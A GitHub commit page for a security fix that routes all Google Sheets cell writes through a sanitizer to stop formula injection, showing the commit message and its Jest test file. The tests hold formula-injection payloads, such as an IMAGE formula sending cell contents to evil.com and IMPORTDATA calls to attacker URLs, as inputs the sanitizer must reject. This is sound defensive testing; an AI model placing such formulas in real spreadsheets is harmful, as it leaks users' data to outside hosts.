Skip to content

Commit 221ce29

Browse files
aaronbrezelclaude
andauthored
fix(security): systemic fix for T6 formula injection via centralized safe-writes (#129)
* docs(security): add design spec for systemic T6 safe-write fix Captures the redefinition of T6 as a vulnerability class (not a single call site), the centralized safe-writes.ts architecture, the full call-site inventory, and the CI enforcement mechanism agreed on with the user across this design session. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * docs(security): finalize T6 safe-writes design after review - Grounding markdown is included in the safe-write path (not carved out as an exception), consistent with the blanket-sanitization decision. - Unify writeSafeValue/writeSafeValueGrid on the same unknown-typed, inline typeof guard instead of a separately named adapter — removes an arbitrary string/unknown split between the two plain-value primitives while keeping current call sites behaviorally unchanged. - Fix markdownlint table-separator formatting. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * docs(security): add implementation plan for T6 systemic safe-writes fix 8 tasks: build safe-writes.ts (TDD, all 4 primitives + relocated sanitizeForCell/writeColumn/findOrCreateColumn), migrate extractText, runBatchAI, formatMarkdownSelection, and sampleRowsToEvaluation onto it, add an ESLint no-restricted-syntax enforcement rule, update the threat model, and manually verify against the dev sheet. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * refactor(security): relocate sanitizeForCell to new safe-writes module * feat(security): add writeSafeValue primitive * feat(security): add writeSafeValueGrid primitive * feat(security): add writeSafeRichText primitive * feat(security): add writeSafeRichTextGrid primitive * refactor(security): relocate writeColumn to safe-writes, sanitize its writes * refactor(security): relocate findOrCreateColumn, wire index.ts to safe-writes * fix(security): route extractText's write through writeSafeValue (AI-75) Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(security): route all runBatchAI writes through safe-writes (AI-56, AI-76) * fix(security): route formatMarkdownSelection's grid write through safe-writes * fix(security): route sampleRowsToEvaluation's copy through safe-writes * docs(security): add Task 5b to plan — runBatchAI column-header gap Found while adding Task 6's ESLint rule: two raw setValue() calls that create the output/grounding column headers were missed by the original call-site audit. Amending the plan before fixing, per user sign-off. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(security): route runBatchAI's column-header creation through findOrCreateColumn * chore(security): enforce safe-writes as the only path for Sheets cell writes * docs(security): redefine T6 as a vulnerability class, add R45 (AI-89) * docs(security): match R18 precedent punctuation for superseded markers --------- Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
1 parent cfb39e0 commit 221ce29

10 files changed

Lines changed: 1953 additions & 295 deletions

__tests__/safe-writes.test.ts

Lines changed: 345 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,345 @@
1+
/**
2+
* Tests for src/server/safe-writes.ts — the only sanctioned path for writing
3+
* untrusted-origin content to a Sheets cell. See T6 in the threat model.
4+
*/
5+
6+
function makeRichTextBuilder() {
7+
let builtText = "";
8+
const builder = {
9+
setText: (t: string) => {
10+
builtText = t;
11+
return builder;
12+
},
13+
build: () => ({ getText: () => builtText }) as GoogleAppsScript.Spreadsheet.RichTextValue,
14+
};
15+
return builder;
16+
}
17+
18+
(globalThis as unknown as { SpreadsheetApp: unknown }).SpreadsheetApp = {
19+
newRichTextValue: () => makeRichTextBuilder(),
20+
};
21+
22+
import {
23+
sanitizeForCell,
24+
writeSafeValue,
25+
writeSafeValueGrid,
26+
writeSafeRichText,
27+
writeSafeRichTextGrid,
28+
writeColumn,
29+
findOrCreateColumn,
30+
} from "../src/server/safe-writes";
31+
32+
describe("sanitizeForCell", () => {
33+
const REJECTION_MSG =
34+
"[SSI Error: AI response contained an external request formula — output rejected]";
35+
36+
it("rejects =IMAGE formula (exfiltrates cell data via image URL)", () => {
37+
expect(sanitizeForCell('=IMAGE("https://evil.com/?d="&A1)')).toBe(REJECTION_MSG);
38+
});
39+
40+
it("rejects +IMPORTDATA formula (fetches external URL via + prefix)", () => {
41+
expect(sanitizeForCell("+IMPORTDATA(A1)")).toBe(REJECTION_MSG);
42+
});
43+
44+
it("rejects -IMPORTXML formula", () => {
45+
expect(sanitizeForCell('-IMPORTXML(A1, "//b")')).toBe(REJECTION_MSG);
46+
});
47+
48+
it("rejects =IMPORTHTML formula", () => {
49+
expect(sanitizeForCell('=IMPORTHTML("http://evil.com", "table", 1)')).toBe(REJECTION_MSG);
50+
});
51+
52+
it("rejects =IMPORTRANGE formula", () => {
53+
expect(sanitizeForCell('=IMPORTRANGE("spreadsheetId", "A1:A10")')).toBe(REJECTION_MSG);
54+
});
55+
56+
it("rejects =IMPORTFEED formula", () => {
57+
expect(sanitizeForCell('=IMPORTFEED("http://evil.com/rss")')).toBe(REJECTION_MSG);
58+
});
59+
60+
it("rejects web-fetch function nested inside another formula", () => {
61+
expect(sanitizeForCell('=IF(1=1,IMAGE("evil.com"),0)')).toBe(REJECTION_MSG);
62+
});
63+
64+
it("rejects web-fetch function nested inside IFERROR", () => {
65+
expect(sanitizeForCell('=IFERROR(IMPORTDATA("http://evil.com"),0)')).toBe(REJECTION_MSG);
66+
});
67+
68+
it("rejects web-fetch function name regardless of case", () => {
69+
expect(sanitizeForCell('=image("evil.com")')).toBe(REJECTION_MSG);
70+
});
71+
72+
it("prepends apostrophe to non-web-fetch formula starting with =", () => {
73+
expect(sanitizeForCell("=SUM(A1:A10)")).toBe("'=SUM(A1:A10)");
74+
});
75+
76+
it("prepends apostrophe to non-web-fetch formula starting with - (defense-in-depth)", () => {
77+
expect(sanitizeForCell("-SUM(A1:A10)")).toBe("'-SUM(A1:A10)");
78+
});
79+
80+
it("prepends apostrophe to non-web-fetch formula starting with +", () => {
81+
expect(sanitizeForCell("+SUM(A1:A10)")).toBe("'+SUM(A1:A10)");
82+
});
83+
84+
it("leaves normal AI response text unchanged", () => {
85+
expect(sanitizeForCell("The subject appeared in three court filings.")).toBe(
86+
"The subject appeared in three court filings.",
87+
);
88+
});
89+
90+
it("leaves empty string unchanged", () => {
91+
expect(sanitizeForCell("")).toBe("");
92+
});
93+
94+
it("leaves values with leading whitespace unchanged (Sheets does not evaluate as formula)", () => {
95+
expect(sanitizeForCell(" =not evaluated as formula")).toBe(" =not evaluated as formula");
96+
});
97+
98+
it("preserves the full response when prepending apostrophe to a safe multiline formula", () => {
99+
const input = "=SUM(A1:A10)\nNote: this formula sums the range";
100+
expect(sanitizeForCell(input)).toBe(`'${input}`);
101+
});
102+
});
103+
104+
describe("writeSafeValue", () => {
105+
it("writes a safe string value to the range unchanged", () => {
106+
const setValueMock = jest.fn();
107+
const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
108+
writeSafeValue(range, "hello");
109+
expect(setValueMock).toHaveBeenCalledWith("hello");
110+
});
111+
112+
it("rejects a web-fetch formula", () => {
113+
const setValueMock = jest.fn();
114+
const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
115+
writeSafeValue(range, '=IMAGE("evil.com")');
116+
expect(setValueMock).toHaveBeenCalledWith(
117+
"[SSI Error: AI response contained an external request formula — output rejected]",
118+
);
119+
});
120+
121+
it("literal-izes a non-web-fetch formula", () => {
122+
const setValueMock = jest.fn();
123+
const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
124+
writeSafeValue(range, "=SUM(A1:A10)");
125+
expect(setValueMock).toHaveBeenCalledWith("'=SUM(A1:A10)");
126+
});
127+
128+
it("passes non-string values through unchanged (numbers can never be a sheet function)", () => {
129+
const setValueMock = jest.fn();
130+
const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
131+
writeSafeValue(range, 42);
132+
expect(setValueMock).toHaveBeenCalledWith(42);
133+
});
134+
});
135+
136+
describe("writeSafeValueGrid", () => {
137+
it("sanitizes every string cell and writes the whole grid in one setValues call", () => {
138+
const setValuesMock = jest.fn();
139+
const range = { setValues: setValuesMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
140+
writeSafeValueGrid(range, [
141+
["safe text", '=IMAGE("evil.com")'],
142+
["=SUM(A1:A10)", "more text"],
143+
]);
144+
expect(setValuesMock).toHaveBeenCalledTimes(1);
145+
expect(setValuesMock).toHaveBeenCalledWith([
146+
[
147+
"safe text",
148+
"[SSI Error: AI response contained an external request formula — output rejected]",
149+
],
150+
["'=SUM(A1:A10)", "more text"],
151+
]);
152+
});
153+
154+
it("passes non-string cells (numbers, booleans, dates) through unchanged", () => {
155+
const setValuesMock = jest.fn();
156+
const range = { setValues: setValuesMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
157+
const date = new Date(2026, 0, 1);
158+
writeSafeValueGrid(range, [[42, true, date]]);
159+
expect(setValuesMock).toHaveBeenCalledWith([[42, true, date]]);
160+
});
161+
});
162+
163+
function makeRichTextValue(text: string): GoogleAppsScript.Spreadsheet.RichTextValue {
164+
return { getText: () => text } as unknown as GoogleAppsScript.Spreadsheet.RichTextValue;
165+
}
166+
167+
describe("writeSafeRichText", () => {
168+
it("writes the original RichTextValue unchanged when the flattened text is safe", () => {
169+
const setRichTextValueMock = jest.fn();
170+
const range = {
171+
setRichTextValue: setRichTextValueMock,
172+
} as unknown as GoogleAppsScript.Spreadsheet.Range;
173+
const richTextValue = makeRichTextValue("**bold** safe text");
174+
writeSafeRichText(range, richTextValue);
175+
expect(setRichTextValueMock).toHaveBeenCalledWith(richTextValue);
176+
});
177+
178+
it("drops formatting and rejects when the flattened text is a web-fetch formula", () => {
179+
const setRichTextValueMock = jest.fn();
180+
const range = {
181+
setRichTextValue: setRichTextValueMock,
182+
} as unknown as GoogleAppsScript.Spreadsheet.Range;
183+
writeSafeRichText(range, makeRichTextValue('=IMPORTDATA("evil.com")'));
184+
const written = setRichTextValueMock.mock
185+
.calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue;
186+
expect(written.getText()).toBe(
187+
"[SSI Error: AI response contained an external request formula — output rejected]",
188+
);
189+
});
190+
191+
it("drops formatting and literal-izes when the flattened text is a benign formula", () => {
192+
const setRichTextValueMock = jest.fn();
193+
const range = {
194+
setRichTextValue: setRichTextValueMock,
195+
} as unknown as GoogleAppsScript.Spreadsheet.Range;
196+
writeSafeRichText(range, makeRichTextValue("=SUM(A1:A10)"));
197+
const written = setRichTextValueMock.mock
198+
.calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue;
199+
expect(written.getText()).toBe("'=SUM(A1:A10)");
200+
});
201+
});
202+
203+
describe("writeSafeRichTextGrid", () => {
204+
it("sanitizes every cell in the grid via a single setRichTextValues call", () => {
205+
const setRichTextValuesMock = jest.fn();
206+
const range = {
207+
setRichTextValues: setRichTextValuesMock,
208+
} as unknown as GoogleAppsScript.Spreadsheet.Range;
209+
const safeCell = makeRichTextValue("safe text");
210+
const dangerousCell = makeRichTextValue('=IMAGE("evil.com")');
211+
writeSafeRichTextGrid(range, [[safeCell, dangerousCell]]);
212+
expect(setRichTextValuesMock).toHaveBeenCalledTimes(1);
213+
const [[writtenSafe, writtenDangerous]] = setRichTextValuesMock.mock
214+
.calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue[][];
215+
expect(writtenSafe).toBe(safeCell);
216+
expect(writtenDangerous.getText()).toBe(
217+
"[SSI Error: AI response contained an external request formula — output rejected]",
218+
);
219+
});
220+
});
221+
222+
describe("writeColumn", () => {
223+
it("writes values starting at row 2 using a single setValues call", () => {
224+
const setValuesMock = jest.fn();
225+
const sheet = {
226+
getRange: jest.fn().mockReturnValue({ setValues: setValuesMock }),
227+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
228+
writeColumn(sheet, 3, ["a", "b", "c"]);
229+
expect(sheet.getRange).toHaveBeenCalledWith(2, 3, 3, 1);
230+
expect(setValuesMock).toHaveBeenCalledWith([["a"], ["b"], ["c"]]);
231+
});
232+
233+
it("does nothing when values array is empty", () => {
234+
const sheet = {
235+
getRange: jest.fn(),
236+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
237+
writeColumn(sheet, 1, []);
238+
expect(sheet.getRange).not.toHaveBeenCalled();
239+
});
240+
241+
it("applies wrapStrategy to the written range when provided", () => {
242+
const setValuesMock = jest.fn();
243+
const setWrapStrategyMock = jest.fn();
244+
const sheet = {
245+
getRange: jest
246+
.fn()
247+
.mockReturnValue({ setValues: setValuesMock, setWrapStrategy: setWrapStrategyMock }),
248+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
249+
const wrapStrategy = "CLIP" as unknown as GoogleAppsScript.Spreadsheet.WrapStrategy;
250+
writeColumn(sheet, 3, ["a", "b"], wrapStrategy);
251+
expect(setWrapStrategyMock).toHaveBeenCalledWith(wrapStrategy);
252+
});
253+
254+
it("sanitizes a dangerous value before writing", () => {
255+
const setValuesMock = jest.fn();
256+
const sheet = {
257+
getRange: jest.fn().mockReturnValue({ setValues: setValuesMock }),
258+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
259+
writeColumn(sheet, 3, ['=IMAGE("evil.com")', "safe"]);
260+
expect(setValuesMock).toHaveBeenCalledWith([
261+
["[SSI Error: AI response contained an external request formula — output rejected]"],
262+
["safe"],
263+
]);
264+
});
265+
});
266+
267+
describe("findOrCreateColumn", () => {
268+
function makeSheet(headers: string[]): GoogleAppsScript.Spreadsheet.Sheet {
269+
const values = [headers.slice()];
270+
return {
271+
getLastColumn: () => headers.length,
272+
getRange: jest
273+
.fn()
274+
.mockImplementation((_row: number, _col: number, numRows?: number, numCols?: number) => {
275+
if (numRows === 1 && numCols !== undefined) {
276+
return { getValues: () => values };
277+
}
278+
return { setValue: jest.fn() };
279+
}),
280+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
281+
}
282+
283+
it("returns 1-based index of existing column", () => {
284+
const sheet = makeSheet(["Drive Link", "System Prompt", "Output"]);
285+
expect(findOrCreateColumn(sheet, "System Prompt")).toBe(2);
286+
});
287+
288+
it("appends new column and returns its 1-based index when not found", () => {
289+
const sheet = makeSheet(["Drive Link"]);
290+
const setValueMock = jest.fn();
291+
(sheet.getRange as jest.Mock).mockImplementation(
292+
(_row: number, _col: number, numRows?: number, numCols?: number) => {
293+
if (numRows === 1 && numCols !== undefined) {
294+
return { getValues: () => [["Drive Link"]] };
295+
}
296+
return { setValue: setValueMock };
297+
},
298+
);
299+
const idx = findOrCreateColumn(sheet, "New Col");
300+
expect(idx).toBe(2);
301+
expect(setValueMock).toHaveBeenCalledWith("New Col");
302+
});
303+
304+
it("appends to column 1 when sheet is empty", () => {
305+
const setValueMock = jest.fn();
306+
const sheet = {
307+
getLastColumn: () => 0,
308+
getRange: jest.fn().mockReturnValue({ setValue: setValueMock }),
309+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
310+
const idx = findOrCreateColumn(sheet, "My Col");
311+
expect(idx).toBe(1);
312+
expect(setValueMock).toHaveBeenCalledWith("My Col");
313+
});
314+
315+
it("applies wrapStrategy to the new column range when provided", () => {
316+
const setValueMock = jest.fn();
317+
const setWrapStrategyMock = jest.fn();
318+
const sheet = {
319+
getLastColumn: () => 0,
320+
getMaxRows: () => 100,
321+
getRange: jest
322+
.fn()
323+
.mockImplementation((_row: number, _col: number, numRows?: number) =>
324+
numRows !== undefined
325+
? { setWrapStrategy: setWrapStrategyMock }
326+
: { setValue: setValueMock },
327+
),
328+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
329+
const wrapStrategy = "CLIP" as unknown as GoogleAppsScript.Spreadsheet.WrapStrategy;
330+
findOrCreateColumn(sheet, "My Col", wrapStrategy);
331+
expect(setWrapStrategyMock).toHaveBeenCalledWith(wrapStrategy);
332+
});
333+
334+
it("sanitizes a dangerous new column title before writing", () => {
335+
const setValueMock = jest.fn();
336+
const sheet = {
337+
getLastColumn: () => 0,
338+
getRange: jest.fn().mockReturnValue({ setValue: setValueMock }),
339+
} as unknown as GoogleAppsScript.Spreadsheet.Sheet;
340+
findOrCreateColumn(sheet, '=IMAGE("evil.com")');
341+
expect(setValueMock).toHaveBeenCalledWith(
342+
"[SSI Error: AI response contained an external request formula — output rejected]",
343+
);
344+
});
345+
});

0 commit comments

Comments
 (0)